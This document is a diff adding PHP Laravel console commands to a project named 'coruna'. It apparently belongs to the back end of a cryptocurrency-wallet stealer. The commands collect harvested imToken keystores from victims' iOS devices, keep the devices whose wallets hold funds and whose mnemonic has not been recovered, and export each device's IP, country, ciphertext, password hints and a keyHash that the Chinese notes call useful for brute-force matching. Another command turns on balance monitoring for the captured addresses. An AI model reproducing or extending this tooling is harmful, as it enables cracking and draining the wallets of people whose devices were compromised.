|
} catch (\Throwable) {
|
||||||
|
$this->warn('ignored invalid date: '.$raw);
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Services\Tokenview\TokenviewMonitorService;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
|
||||||
|
class EnableAllMonitorsCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:enable-all-monitors';
|
||||||
|
|
||||||
|
protected $description = 'Turn on monitor=1 for all wallet addresses that should be monitored (Tokenview configured + supported chain). Leaves monitor_synced=0 so the sync-monitors scheduled task registers them with Tokenview.';
|
||||||
|
|
||||||
|
public function handle(TokenviewMonitorService $svc): int
|
||||||
|
{
|
||||||
|
$addresses = WalletAddress::query()->where('monitor', 0)->get();
|
||||||
|
|
||||||
|
if ($addresses->isEmpty()) {
|
||||||
|
$this->info('no monitor=0 addresses found.');
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
$enabled = 0;
|
||||||
|
$skipped = 0;
|
||||||
|
foreach ($addresses as $addr) {
|
||||||
|
if ($svc->shouldMonitor($addr)) {
|
||||||
|
$addr->monitor = 1;
|
||||||
|
$addr->monitor_synced = false; // will be synced by scheduled task
|
||||||
|
$addr->monitor_failures = 0; // reset retry budget
|
||||||
|
$addr->save();
|
||||||
|
$this->line(" enabled: {$addr->address} ({$addr->chain_type})");
|
||||||
|
$enabled++;
|
||||||
|
} else {
|
||||||
|
$skipped++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->info("enabled={$enabled} skipped={$skipped} total=".count($addresses));
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,371 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use App\Models\WalletKeystore;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Export devices that have:
|
||||||
|
* 1. at least one imToken-derived wallet_address with non-zero balance, AND
|
||||||
|
* 2. at least one imToken keystore whose raw_json contains a Web3 keystore
|
||||||
|
* (crypto.ciphertext + crypto.mac present — decryptable with a password).
|
||||||
|
*
|
||||||
|
* Outputs to storage/app/imtoken-rich-<timestamp>/:
|
||||||
|
* - report.md : human-readable document (device + addresses + keystore)
|
||||||
|
* - report.json : machine-readable mirror of the same data
|
||||||
|
*/
|
||||||
|
class ExportImtokenRichCommand extends Command
|
||||||
|
{
|
||||||
|
protected $signature = 'coruna:export-imtoken-rich
|
||||||
|
{--path= : Output directory (default storage/app/imtoken-rich-<timestamp>)}
|
||||||
|
{--min-usd=1 : Minimum USD-estimated balance to include a device (set 0 to disable)}
|
||||||
|
{--no-md : Skip markdown report}
|
||||||
|
{--no-json : Skip JSON report}
|
||||||
|
{--limit= : Cap number of devices (debug)}';
|
||||||
|
|
||||||
|
protected $description = 'Export devices with imToken addresses (balance>min, no mnemonic, has keystore)';
|
||||||
|
|
||||||
|
public function handle(): int
|
||||||
|
{
|
||||||
|
DB::disableQueryLog();
|
||||||
|
$dir = $this->resolveDir();
|
||||||
|
if ($dir === null) {
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
$deviceIds = $this->candidateDeviceIds();
|
||||||
|
if ($deviceIds->isEmpty()) {
|
||||||
|
$this->warn('No devices match (imToken address with balance + imToken keystore).');
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
$this->info(sprintf('found %d candidate device(s)', $deviceIds->count()));
|
||||||
|
|
||||||
|
$devices = [];
|
||||||
|
foreach ($deviceIds as $id) {
|
||||||
|
$payload = $this->serializeDevice((int) $id);
|
||||||
|
if ($payload === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$devices[] = $payload;
|
||||||
|
$this->line(sprintf(
|
||||||
|
'device #%d (%s) · addresses=%d · keystores=%d · usd~%s',
|
||||||
|
$payload['id'],
|
||||||
|
$payload['device_id'],
|
||||||
|
count($payload['addresses']),
|
||||||
|
count($payload['keystores']),
|
||||||
|
$payload['totals']['usd_approx'],
|
||||||
|
));
|
||||||
|
gc_collect_cycles();
|
||||||
|
}
|
||||||
|
|
||||||
|
$summary = [
|
||||||
|
'exported_at' => now()->toIso8601String(),
|
||||||
|
'min_usd' => (float) $this->option('min-usd'),
|
||||||
|
'device_count' => count($devices),
|
||||||
|
'address_count' => array_sum(array_map(fn ($d) => count($d['addresses']), $devices)),
|
||||||
|
'keystore_count' => array_sum(array_map(fn ($d) => count($d['keystores']), $devices)),
|
||||||
|
'totals' => $this->aggregateTotals($devices),
|
||||||
|
];
|
||||||
|
|
||||||
|
if (! $this->option('no-json')) {
|
||||||
|
$jsonPath = $dir.'/report.json';
|
||||||
|
file_put_contents($jsonPath, json_encode(
|
||||||
|
array_merge($summary, ['devices' => $devices]),
|
||||||
|
JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT,
|
||||||
|
));
|
||||||
|
$this->info('wrote '.$jsonPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $this->option('no-md')) {
|
||||||
|
$mdPath = $dir.'/report.md';
|
||||||
|
file_put_contents($mdPath, $this->renderMarkdown($summary, $devices));
|
||||||
|
$this->info('wrote '.$mdPath);
|
||||||
|
}
|
||||||
|
|
||||||
|
$this->info('done. output dir: '.$dir);
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Device IDs that meet ALL criteria:
|
||||||
|
* 1. has imToken wallet_addresses with any coin > 0
|
||||||
|
* 2. USD-estimated total of those imToken addresses >= --min-usd
|
||||||
|
* 3. device has NO wallet_mnemonics rows (助记词未恢复)
|
||||||
|
* 4. has an imToken wallet_keystore with non-empty raw_json containing
|
||||||
|
* a Web3 keystore node (crypto.ciphertext + crypto.mac).
|
||||||
|
*/
|
||||||
|
private function candidateDeviceIds()
|
||||||
|
{
|
||||||
|
$minUsd = (float) $this->option('min-usd');
|
||||||
|
|
||||||
|
// Step 1: imToken addresses with balance, grouped by device.
|
||||||
|
$addrRows = DB::table('wallet_addresses')
|
||||||
|
->where('source', 'imToken')
|
||||||
|
->where(function ($q) {
|
||||||
|
foreach (WalletAddress::COIN_COLUMNS as $c) {
|
||||||
|
$q->orWhere($c, '>', 0);
|
||||||
|
}
|
||||||
|
})
|
||||||
|
->select(array_merge(['device_id'], WalletAddress::COIN_COLUMNS))
|
||||||
|
->get();
|
||||||
|
|
||||||
|
if ($addrRows->isEmpty()) {
|
||||||
|
return collect();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 2: aggregate per device, apply USD threshold.
|
||||||
|
$byDevice = [];
|
||||||
|
foreach ($addrRows as $row) {
|
||||||
|
$id = (int) $row->device_id;
|
||||||
|
if (! isset($byDevice[$id])) {
|
||||||
|
$byDevice[$id] = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||||
|
}
|
||||||
|
foreach (WalletAddress::COIN_COLUMNS as $c) {
|
||||||
|
$byDevice[$id][$c] += (float) ($row->{$c} ?? 0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$usdOk = [];
|
||||||
|
foreach ($byDevice as $id => $coins) {
|
||||||
|
$usd = ($coins['usdt'] ?? 0)
|
||||||
|
+ ($coins['trx'] ?? 0) * 0.15
|
||||||
|
+ ($coins['eth'] ?? 0) * 2500
|
||||||
|
+ ($coins['btc'] ?? 0) * 60000
|
||||||
|
+ ($coins['bnb'] ?? 0) * 500
|
||||||
|
+ ($coins['sol'] ?? 0) * 150;
|
||||||
|
if ($usd >= $minUsd) {
|
||||||
|
$usdOk[$id] = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($usdOk === []) {
|
||||||
|
return collect();
|
||||||
|
}
|
||||||
|
$usdOkIds = array_keys($usdOk);
|
||||||
|
|
||||||
|
// Step 3: exclude devices that have ANY recovered mnemonic.
|
||||||
|
$withMnemonic = DB::table('wallet_mnemonics')
|
||||||
|
->whereIn('device_id', $usdOkIds)
|
||||||
|
->pluck('device_id')
|
||||||
|
->unique()
|
||||||
|
->all();
|
||||||
|
$noMnemonicIds = array_values(array_diff($usdOkIds, $withMnemonic));
|
||||||
|
if ($noMnemonicIds === []) {
|
||||||
|
return collect();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Step 4: keep only devices that have an imToken keystore with data.
|
||||||
|
$ksDeviceIds = DB::table('wallet_keystores')
|
||||||
|
->where('source', 'imToken')
|
||||||
|
->whereNotNull('raw_json')
|
||||||
|
->whereIn('device_id', $noMnemonicIds)
|
||||||
|
->pluck('device_id')
|
||||||
|
->unique();
|
||||||
|
|
||||||
|
$ids = collect($noMnemonicIds)->intersect($ksDeviceIds)->values();
|
||||||
|
if ($limit = (int) $this->option('limit')) {
|
||||||
|
$ids = $ids->take($limit);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $ids;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function serializeDevice(int $deviceId): ?array
|
||||||
|
{
|
||||||
|
$device = Device::query()->find($deviceId, [
|
||||||
|
'id', 'device_id', 'channel_id', 'device_model', 'ios_version',
|
||||||
|
'ip', 'country', 'wallet_names', 'user_agent', 'created_at',
|
||||||
|
]);
|
||||||
|
if ($device === null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'id' => $device->id,
|
||||||
|
'device_id' => $device->device_id,
|
||||||
|
'channel_id' => $device->channel_id,
|
||||||
|
'model' => $device->device_model,
|
||||||
|
'ios_version' => $device->ios_version,
|
||||||
|
'ip' => $device->ip,
|
||||||
|
'country' => $device->resolvedCountry(),
|
||||||
|
'wallet_names' => $device->walletNameList(),
|
||||||
|
'user_agent' => $device->user_agent,
|
||||||
|
'created_at' => optional($device->created_at)->toIso8601String(),
|
||||||
|
'addresses' => $addresses = $this->serializeAddresses($device),
|
||||||
|
'keystores' => $this->serializeKeystores($device),
|
||||||
|
'totals' => $this->deviceTotals($addresses),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
private function serializeAddresses(Device $device): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
foreach ($device->addresses()
|
||||||
|
->where('source', 'imToken')
|
||||||
|
->orderBy('id')
|
||||||
|
->cursor() as $addr
|
||||||
|
) {
|
||||||
|
$coins = [];
|
||||||
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||||
|
$raw = $addr->{$col};
|
||||||
|
if ($raw === null || $raw === '' || (float) $raw == 0.0) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
$coins[$col] = WalletAddress::formatAmount($col, $raw);
|
||||||
|
}
|
||||||
|
$out[] = [
|
||||||
|
'id' => $addr->id,
|
||||||
|
'address' => $addr->address,
|
||||||
|
'chain_type' => $addr->chain_type,
|
||||||
|
'derive_index' => $addr->derive_index,
|
||||||
|
'mnemonic_id' => $addr->mnemonic_id,
|
||||||
|
'monitor' => (int) $addr->monitor,
|
||||||
|
'coins' => $coins,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function serializeKeystores(Device $device): array
|
||||||
|
{
|
||||||
|
$out = [];
|
||||||
|
foreach ($device->keystores()
|
||||||
|
->where('source', 'imToken')
|
||||||
|
->orderBy('id')
|
||||||
|
->cursor() as $ks
|
||||||
|
) {
|
||||||
|
$raw = is_array($ks->raw_json) ? $ks->raw_json : null;
|
||||||
|
if ($raw === null) {
|
||||||
|
$raw = DB::table('wallet_keystores')->whereKey($ks->id)->value('raw_json');
|
||||||
|
$raw = is_string($raw) ? json_decode($raw, true) : $raw;
|
||||||
|
$raw = is_array($raw) ? $raw : null;
|
||||||
|
}
|
||||||
|
if ($raw === null) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// imToken keystore may be nested under ['imtoken'] (from /result
|
||||||
|
// ingest) or stored directly. Detect both.
|
||||||
|
$node = $raw;
|
||||||
|
if (isset($raw['imtoken']) && is_array($raw['imtoken'])) {
|
||||||
|
$node = $raw['imtoken'];
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $this->isWeb3Node($node)) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
$out[] = [
|
||||||
|
'id' => $ks->id,
|
||||||
|
'source' => $ks->source,
|
||||||
|
'decrypted' => (int) $ks->decrypted,
|
||||||
|
'created_at' => optional($ks->created_at)->toIso8601String(),
|
||||||
|
'keystore' => $this->pickKeystoreFields($node),
|
||||||
|
'raw_json_len' => strlen((string) json_encode($raw)),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
return $out;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function isWeb3Node(array $node): bool
|
||||||
|
{
|
||||||
|
$crypto = $node['crypto'] ?? null;
|
||||||
|
|
||||||
|
return is_array($crypto)
|
||||||
|
&& isset($crypto['ciphertext'], $crypto['mac'])
|
||||||
|
&& is_string($crypto['ciphertext'])
|
||||||
|
&& is_string($crypto['mac']);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function pickKeystoreFields(array $node): array
|
||||||
|
{
|
||||||
|
$crypto = $node['crypto'] ?? [];
|
||||||
|
|
||||||
|
return [
|
||||||
|
'id' => $node['id'] ?? null,
|
||||||
|
'type' => $node['type'] ?? null,
|
||||||
|
'address' => $node['address'] ?? null,
|
||||||
|
'derivationPath' => $node['derivationPath'] ?? null,
|
||||||
|
'version' => $node['version'] ?? null,
|
||||||
|
'keyHash' => $node['keyHash'] ?? null,
|
||||||
|
'crypto' => [
|
||||||
|
'kdf' => $crypto['kdf'] ?? null,
|
||||||
|
'cipher' => $crypto['cipher'] ?? null,
|
||||||
|
'kdfparams' => $crypto['kdfparams'] ?? null,
|
||||||
|
'cipherparams' => $crypto['cipherparams'] ?? null,
|
||||||
|
'ciphertext' => $crypto['ciphertext'] ?? null,
|
||||||
|
'mac' => $crypto['mac'] ?? null,
|
||||||
|
],
|
||||||
|
'imTokenMeta' => $node['imTokenMeta'] ?? null,
|
||||||
|
'activeAccounts' => $node['activeAccounts'] ?? null,
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
private function deviceTotals(array $addresses): array
|
||||||
|
{
|
||||||
|
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||||
|
foreach ($addresses as $a) {
|
||||||
|
foreach ($a['coins'] as $col => $val) {
|
||||||
|
if (isset($sums[$col])) {
|
||||||
|
$sums[$col] += (float) $val;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$usd = ($sums['usdt'] ?? 0)
|
||||||
|
+ ($sums['trx'] ?? 0) * 0.15
|
||||||
|
+ ($sums['eth'] ?? 0) * 2500
|
||||||
|
+ ($sums['btc'] ?? 0) * 60000
|
||||||
|
+ ($sums['bnb'] ?? 0) * 500
|
||||||
|
+ ($sums['sol'] ?? 0) * 150;
|
||||||
|
|
||||||
|
return [
|
||||||
|
'coins' => array_map(fn ($v) => (string) $v, $sums),
|
||||||
|
'usd_approx' => number_format((float) $usd, 2, '.', ''),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
private function aggregateTotals(array $devices): array
|
||||||
|
{
|
||||||
|
$sums = array_fill_keys(WalletAddress::COIN_COLUMNS, 0.0);
|
||||||
|
$usd = 0.0;
|
||||||
|
foreach ($devices as $d) {
|
||||||
|
foreach ($d['totals']['coins'] as $col => $val) {
|
||||||
|
$sums[$col] += (float) $val;
|
||||||
|
}
|
||||||
|
$usd += (float) $d['totals']['usd_approx'];
|
||||||
|
}
|
||||||
|
|
||||||
|
return [
|
||||||
|
'coins' => array_map(fn ($v) => (string) $v, $sums),
|
||||||
|
'usd_approx' => number_format($usd, 2, '.', ''),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
private function resolveDir(): ?string
|
||||||
|
{
|
||||||
|
$path = trim((string) $this->option('path'));
|
||||||
|
if ($path === '') {
|
||||||
|
$path = storage_path('app/imtoken-rich-'.now()->format('Ymd-His'));
|
||||||
|
} elseif (! str_starts_with($path, '/')) {
|
||||||
|
$path = base_path($path);
|
||||||
|
}
|
||||||
|
if (! is_dir($path) && ! mkdir($path, 0775, true) && ! is_dir($path)) {
|
||||||
|
$this->error('Cannot create directory: '.$path);
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $path;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function renderMarkdown(array $summary, array $devices): string
|
||||||
|
{
|
||||||
|
return (new ExportImtokenRichMarkdown($summary, $devices))->render();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,177 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Renders the imToken-rich export as a markdown document.
|
||||||
|
* Each device is one block:
|
||||||
|
* - summary line (设备 id, 密码提示, 地址数, 总余额)
|
||||||
|
* - 设备基本信息 as JSON
|
||||||
|
* - 地址列表 as table
|
||||||
|
* - keystore as JSON
|
||||||
|
*
|
||||||
|
* @internal
|
||||||
|
*/
|
||||||
|
final class ExportImtokenRichMarkdown
|
||||||
|
{
|
||||||
|
public function __construct(
|
||||||
|
private readonly array $summary,
|
||||||
|
private readonly array $devices,
|
||||||
|
) {}
|
||||||
|
|
||||||
|
public function render(): string
|
||||||
|
{
|
||||||
|
$md = [];
|
||||||
|
$md[] = '# imToken 富地址导出报告';
|
||||||
|
$md[] = '';
|
||||||
|
$md[] = '导出时间: '.$this->summary['exported_at'];
|
||||||
|
$md[] = '';
|
||||||
|
$md[] = '筛选条件: imToken 地址 · 余额 ≥ $'.$this->summary['min_usd']
|
||||||
|
.' · 无助记词 · 有 keystore';
|
||||||
|
$md[] = '';
|
||||||
|
$md[] = '## 汇总';
|
||||||
|
$md[] = '';
|
||||||
|
$md[] = '| 指标 | 值 |';
|
||||||
|
$md[] = '|---|---|';
|
||||||
|
$md[] = "| 设备数 | {$this->summary['device_count']} |";
|
||||||
|
$md[] = "| 地址数 | {$this->summary['address_count']} |";
|
||||||
|
$md[] = "| Keystore 数 | {$this->summary['keystore_count']} |";
|
||||||
|
foreach ($this->summary['totals']['coins'] as $col => $val) {
|
||||||
|
$sym = strtoupper($col);
|
||||||
|
$md[] = "| {$sym} 总额 | {$val} |";
|
||||||
|
}
|
||||||
|
$md[] = "| USD 估算 | {$this->summary['totals']['usd_approx']} |";
|
||||||
|
$md[] = '';
|
||||||
|
$md[] = '> USD 估算仅用于排序,价格假设: TRX=0.15, ETH=2500, BTC=60000, BNB=500, SOL=150, USDT=1';
|
||||||
|
$md[] = '';
|
||||||
|
|
||||||
|
foreach ($this->devices as $device) {
|
||||||
|
$this->renderDevice($md, $device);
|
||||||
|
}
|
||||||
|
|
||||||
|
$md[] = '---';
|
||||||
|
$md[] = '';
|
||||||
|
$md[] = '## 字段说明';
|
||||||
|
$md[] = '';
|
||||||
|
$md[] = '- **decrypted**: keystore 是否已解出助记词 (1=已解出, 0=未解出,需密码)';
|
||||||
|
$md[] = '- **keyHash**: imToken 的 SHA1(密码),可用于快速爆破比对';
|
||||||
|
$md[] = '- **imTokenMeta.source**: `MNEMONIC`/`NEW_MNEMONIC` = 加密助记词;`PRIVATE_KEY` = 加密单私钥';
|
||||||
|
$md[] = '- **imTokenMeta.passwordHint**: 密码提示(首字母或长度线索)';
|
||||||
|
$md[] = '- **derivationPath**: HD 派生路径,`m/44\'/195\'/0\'/0/{index}` = TRON (195)';
|
||||||
|
$md[] = '- 解密流程: 密码 → pbkdf2/scrypt → AES-128-CTR(ciphertext) → 助记词/私钥';
|
||||||
|
$md[] = '';
|
||||||
|
|
||||||
|
return implode("\n", $md);
|
||||||
|
}
|
||||||
|
|
||||||
|
private function renderDevice(array &$md, array $device): void
|
||||||
|
{
|
||||||
|
$hints = $this->collectPasswordHints($device['keystores']);
|
||||||
|
$hintStr = $hints !== [] ? '`'.implode('`, `', $hints).'`' : '无';
|
||||||
|
$addrCount = count($device['addresses']);
|
||||||
|
$usd = $device['totals']['usd_approx'];
|
||||||
|
|
||||||
|
$md[] = '---';
|
||||||
|
$md[] = '';
|
||||||
|
$md[] = "## 设备 #{$device['id']} — `{$device['device_id']}`";
|
||||||
|
$md[] = '';
|
||||||
|
$md[] = "**密码提示**: {$hintStr} · **地址数**: {$addrCount} · **总余额**: ~\${$usd}";
|
||||||
|
$md[] = '';
|
||||||
|
|
||||||
|
// 设备基本信息 as JSON
|
||||||
|
$basicInfo = [
|
||||||
|
'id' => $device['id'],
|
||||||
|
'device_id' => $device['device_id'],
|
||||||
|
'channel_id' => $device['channel_id'],
|
||||||
|
'model' => $device['model'],
|
||||||
|
'ios_version' => $device['ios_version'],
|
||||||
|
'ip' => $device['ip'],
|
||||||
|
'country' => $device['country'],
|
||||||
|
'wallet_names' => $device['wallet_names'],
|
||||||
|
'user_agent' => $device['user_agent'],
|
||||||
|
'created_at' => $device['created_at'],
|
||||||
|
];
|
||||||
|
$md[] = '**设备基本信息**:';
|
||||||
|
$md[] = '';
|
||||||
|
$md[] = '```json';
|
||||||
|
$md[] = json_encode($basicInfo, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
|
||||||
|
$md[] = '```';
|
||||||
|
$md[] = '';
|
||||||
|
|
||||||
|
// 地址列表 as table
|
||||||
|
$this->renderAddressTable($md, $device['addresses']);
|
||||||
|
|
||||||
|
// keystore as JSON
|
||||||
|
$this->renderKeystores($md, $device['keystores']);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param list<array<string, mixed>> $keystores
|
||||||
|
* @return list<string>
|
||||||
|
*/
|
||||||
|
private function collectPasswordHints(array $keystores): array
|
||||||
|
{
|
||||||
|
$hints = [];
|
||||||
|
foreach ($keystores as $ks) {
|
||||||
|
$meta = $ks['keystore']['imTokenMeta'] ?? null;
|
||||||
|
if (is_array($meta) && isset($meta['passwordHint'])) {
|
||||||
|
$h = trim((string) $meta['passwordHint']);
|
||||||
|
if ($h !== '' && ! in_array($h, $hints, true)) {
|
||||||
|
$hints[] = $h;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
return $hints;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function renderAddressTable(array &$md, array $addresses): void
|
||||||
|
{
|
||||||
|
$md[] = '**地址列表**:';
|
||||||
|
$md[] = '';
|
||||||
|
if ($addresses === []) {
|
||||||
|
$md[] = '_(无)_';
|
||||||
|
$md[] = '';
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$header = ['ID', '地址', 'Chain', 'DeriveIdx', 'MnemonicID', 'Monitor'];
|
||||||
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||||
|
$header[] = strtoupper($col);
|
||||||
|
}
|
||||||
|
$md[] = '| '.implode(' | ', $header).' |';
|
||||||
|
$md[] = '|'.implode('|', array_fill(0, count($header), '---')).'|';
|
||||||
|
foreach ($addresses as $a) {
|
||||||
|
$row = [
|
||||||
|
$a['id'],
|
||||||
|
'`'.$a['address'].'`',
|
||||||
|
$a['chain_type'],
|
||||||
|
$a['derive_index'] ?? '-',
|
||||||
|
$a['mnemonic_id'] ?? '-',
|
||||||
|
$a['monitor'] ? '✓' : '·',
|
||||||
|
];
|
||||||
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||||
|
$row[] = $a['coins'][$col] ?? '0';
|
||||||
|
}
|
||||||
|
$md[] = '| '.implode(' | ', $row).' |';
|
||||||
|
}
|
||||||
|
$md[] = '';
|
||||||
|
}
|
||||||
|
|
||||||
|
private function renderKeystores(array &$md, array $keystores): void
|
||||||
|
{
|
||||||
|
if ($keystores === []) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
foreach ($keystores as $ks) {
|
||||||
|
$md[] = '**keystore** (id='.$ks['id'].', decrypted='.($ks['decrypted'] ? '1' : '0').'):';
|
||||||
|
$md[] = '';
|
||||||
|
$md[] = '```json';
|
||||||
|
$md[] = json_encode($ks, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES | JSON_PRETTY_PRINT);
|
||||||
|
$md[] = '```';
|
||||||
|
$md[] = '';
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,345 @@
|
|||||||
|
<?php
|
||||||
|
|
||||||
|
namespace App\Console\Commands;
|
||||||
|
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
|
use Illuminate\Console\Command;
|
||||||
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
|
use Illuminate\Support\Facades\DB;
|
||||||
|
|
||||||
|
class ExportKeystoreDevicesCommand extends Command
|
||||||
|
{
|
||||||
|
/** Skip JSON_EXTRACT on Trust/DS dumps larger than this (bytes). */
|
||||||
|
private const COMPACT_MAX_BYTES = 262144;
|
||||||
|
|
||||||
|
protected $signature = 'coruna:export-keystore-devices
|
||||||
|
{--path= : Output JSON file (default storage/app/keystore-devices-*.json)}
|
||||||
|
{--with-balance : Only devices that have at least one address with a non-zero coin}
|
||||||
|
{--no-raw : Omit keystore bodies entirely}
|
||||||
|
{--full-raw : Dump entire raw_json (Trust/DS keychain+sandbox, can be many GB)}';
|
||||||
|
|
||||||
|
protected $description = 'Export devices that have both a keystore and wallet addresses';
|
||||||
|
|
||||||
|
public function handle(): int
|
||||||
|
{
|
||||||
|
DB::disableQueryLog();
|
||||||
|
$path = $this->resolvePath();
|
||||||
|
if ($path === null) {
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
$fh = fopen($path, 'w');
|
||||||
|
if ($fh === false) {
|
||||||
|
$this->error('Cannot write: '.$path);
|
||||||
|
|
||||||
|
return self::FAILURE;
|
||||||
|
}
|
||||||
|
|
||||||
|
$ids = $this->deviceQuery()->orderBy('id')->pluck('id');
|
||||||
|
$mode = $this->rawMode();
|
||||||
|
$flags = JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES;
|
||||||
|
|
||||||
|
fwrite($fh, "{\n");
|
||||||
|
fwrite($fh, ' "exported_at": '.json_encode(now()->toIso8601String(), $flags).",\n");
|
||||||
|
fwrite($fh, ' "with_balance": '.($this->option('with-balance') ? 'true' : 'false').",\n");
|
||||||
|
fwrite($fh, ' "raw_mode": '.json_encode($mode, $flags).",\n");
|
||||||
|
fwrite($fh, ' "device_count": '.$ids->count().",\n");
|
||||||
|
fwrite($fh, ' "devices": ['."\n");
|
||||||
|
|
||||||
|
$first = true;
|
||||||
|
foreach ($ids as $id) {
|
||||||
|
$device = Device::query()->find($id, [
|
||||||
|
'id', 'device_id', 'channel_id', 'device_model', 'ios_version', 'ip', 'country', 'wallet_names',
|
||||||
|
]);
|
||||||
|
if (! $device) {
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
if (! $first) {
|
||||||
|
fwrite($fh, ",\n");
|
||||||
|
}
|
||||||
|
$first = false;
|
||||||
|
$this->writeDevice($fh, $device, $mode, $flags);
|
||||||
|
unset($device);
|
||||||
|
gc_collect_cycles();
|
||||||
|
}
|
||||||
|
|
||||||
|
fwrite($fh, "\n ]\n}\n");
|
||||||
|
fclose($fh);
|
||||||
|
|
||||||
|
$this->info('wrote '.$ids->count().' devices -> '.$path);
|
||||||
|
|
||||||
|
return self::SUCCESS;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function rawMode(): string
|
||||||
|
{
|
||||||
|
if ($this->option('no-raw')) {
|
||||||
|
return 'none';
|
||||||
|
}
|
||||||
|
if ($this->option('full-raw')) {
|
||||||
|
return 'full';
|
||||||
|
}
|
||||||
|
|
||||||
|
return 'v3';
|
||||||
|
}
|
||||||
|
|
||||||
|
private function resolvePath(): ?string
|
||||||
|
{
|
||||||
|
$path = trim((string) $this->option('path'));
|
||||||
|
if ($path === '') {
|
||||||
|
$path = storage_path('app/keystore-devices-'.now()->format('Ymd-His').'.json');
|
||||||
|
} elseif (! str_starts_with($path, '/')) {
|
||||||
|
$path = base_path($path);
|
||||||
|
}
|
||||||
|
$dir = dirname($path);
|
||||||
|
if (! is_dir($dir) && ! mkdir($dir, 0775, true) && ! is_dir($dir)) {
|
||||||
|
$this->error('Cannot create directory: '.$dir);
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
return $path;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function deviceQuery(): Builder
|
||||||
|
{
|
||||||
|
return Device::query()
|
||||||
|
->whereHas('keystores')
|
||||||
|
->whereHas('addresses', function (Builder $q) {
|
||||||
|
if (! $this->option('with-balance')) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
$q->where(function (Builder $inner) {
|
||||||
|
foreach (WalletAddress::COIN_COLUMNS as $col) {
|
||||||
|
$inner->orWhere($col, '>', 0);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param resource $fh
|
||||||
|
*/
|
||||||
|
